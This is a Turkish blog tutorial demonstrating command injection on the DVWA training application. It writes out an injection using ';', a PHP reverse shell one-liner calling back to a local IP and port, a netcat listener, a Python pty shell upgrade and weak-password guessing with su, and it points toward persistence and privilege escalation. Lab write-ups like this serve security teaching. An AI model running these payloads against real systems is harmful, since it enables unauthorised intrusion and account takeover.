Blog

Code Execution ile Reverse Shell Bağlantı Oluşturma

 

Code Execution açıklığı ile bir web yazılımı üzerinde kendi komutlarımızı çalıştırabiliriz. Php sistemlerde arka tarafta system() ,exec() ve  shell_exec() fonksiyonlarınn kullanılması bu zafiyete sebep verebilmektedir. Örneğimizde DVWA üzerinden bu işlemi gerçekleştireceğiz.

Description: C:\Users\Ahmet GUREL\AppData\Local\Microsoft\Windows\INetCache\Content.Word\Kali-Linux-2.0.0-vm-amd64-2017-03-22-22-13-59.png

Resimde gördüğünüz gibi  bizden ping atılacak hedefi girmemizi istiyor ve bunun sonucunda ping atabiliyoruz. Arka tarafta başta saydığımız fonksiyonlardan biri kullanılarak ping komutunu çalıştırıyor yazılım. Biz bunu Linux komut satırında komut sonlandırmak için kullandığımız ; kullanarak ikinci bir komut yazabilmekteyiz.

Description: C:\Users\Ahmet GUREL\AppData\Local\Microsoft\Windows\INetCache\Content.Word\Kali-Linux-2.0.0-vm-amd64-2017-03-22-22-14-44.png

Cezergisga.com ; ls ;  komutunu girerek öncelikle cezerisga.com a ping atıp  ;  ile komutu bitirip ls komutunu çalıştırıyoruz resimde gördüğünüz gibi kendi komutumuzu çalıştırdık. Oldukça önemli ve tehlikeli bir zafiyettir. Bu kısımdan sonra istediğimiz komutları çalıştırmakta özgürüz. Peki biz burada bir reverse bağlantı alsak ?  

1;  php -r '$sock=fsockopen("192.168.237.128",1234);exec("/bin/sh -i <&3 >&3 2>&3");'  burada gördüğünüz gibi ping atılacak hedef yerine 1 yazdık buraya ping atılamayacağı için bir çıktı gelmeden direk ikinci kısım çalışacaktır. İkinci kısımda Php reverse Shell bulunmaktadır. Buraya kendi ip adresimizi ve port numarımızı girerek çalıştırıyoruz. Tabi ki çalıştırmadan önce nc -lvp 1234 komutu ile reverse Shell e yazdığımız portumuzu yazarak dinlemeye alıyoruz. -lvp parametrelerinde l : listen mod, v: bağlantı detaylarını ve p : portu temsil etmektedir.

Description: C:\Users\Ahmet GUREL\AppData\Local\Microsoft\Windows\INetCache\Content.Word\Kali-Linux-2.0.0-vm-amd64-2017-03-22-22-23-28.png

Görüldüğü gibi DVWA nın çalıştğı sunucudan bağlantı elde ettik ve bazı komutlar çalıştırdık. Şimdi /homedizinine giderek geçiş yapabileceğimiz bir kullanıcı var mı diye bakıyoruz.

Description: C:\Users\Ahmet GUREL\AppData\Local\Microsoft\Windows\INetCache\Content.Word\4.png

/home dizinin altındaki kullanıcılardan bir kaçına brüte force yöntemi ile bilinen çok kullanan parolalardan deniyoruz. Su ile kullanıcı adın yazarak geçiş yapacağız fakat hata aldık. Aldığımız Shell etkileşimli olmadığı için  başka bir kullanıcıya geçmemize izin verilmiyor.

python -c 'import pty; pty.spawn("/bin/sh")' kodunu terminalimize yazarak etkileşimli shelle geçtik. Ve home dizinin altındaki kullanıcılardan user kullanıcısına su user kullanıcısına şifre kısmında ilk olarak  123456 yı denedik ve hata aldık ikinci seferde ise user ı parola olarak denedik ve giriş yaptık artık user kullanıcı ile sistemde devam etmekteyiz. Burdan sonra sistemde gerekli işlemler yapılarak kalıcılık elde edbilebilir  yada yetki yükseltilme çalışmalarına devam edebilirsiniz.




Yazar Hakkında

 

Bilgisayar Mühendisliği son sınıf öğrencisiyim.Üniversitemde bulunun bir çok öğrenci topluluğu ve kulüpte Başkan ve Başkan yardımculuğı yaptım.Python ve PHP yazılım dillerini sevip kullanmaktayım.Bunun dışında Linux,Penetration Testing ve Network Security alanlarında çalışmalar yapmaktayım.CANYOUPWNME,SDU CYBERLAB ve CSGA ekiplerinin üyesiyim.







Yorum Yapmak İçin Giriş Yapın.